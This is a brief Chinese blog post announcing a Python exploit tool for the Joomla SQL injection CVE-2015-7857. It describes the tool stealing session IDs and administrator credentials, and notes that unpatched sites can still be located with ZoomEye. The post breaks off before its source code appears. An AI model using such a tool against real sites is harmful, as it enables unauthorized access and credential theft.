CVE-2015-7857 Joomla注入漏洞利用工具（Python）

      前段时间闹得很火的一个SQL注入漏洞，影响版本Joomla 3.2.0-3.4.4版本。目前官方已经提供了升级版本。

      漏洞分析英文版本在这里：https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/?page=1&year=0&month=0。

      Freebuf上的翻译版本在这里：http://www.freebuf.com/articles/82811.html。

      主要是尝试一下用Python写了一个利用的工具，可以获取SessionID，获取管理员的账户密码，管理员的的名字。其他的功能只需要加上对应的Payload即可。没有做多线程处理，item_id也只是尝试1000次，如果不成功的话就会退出。在本地测试成功。利用zoomeye也还是可以找到没有及时打补丁的网站。下面看下展示图。

      本地测试：

      最后，分享一下源码，写的比较粗糙：
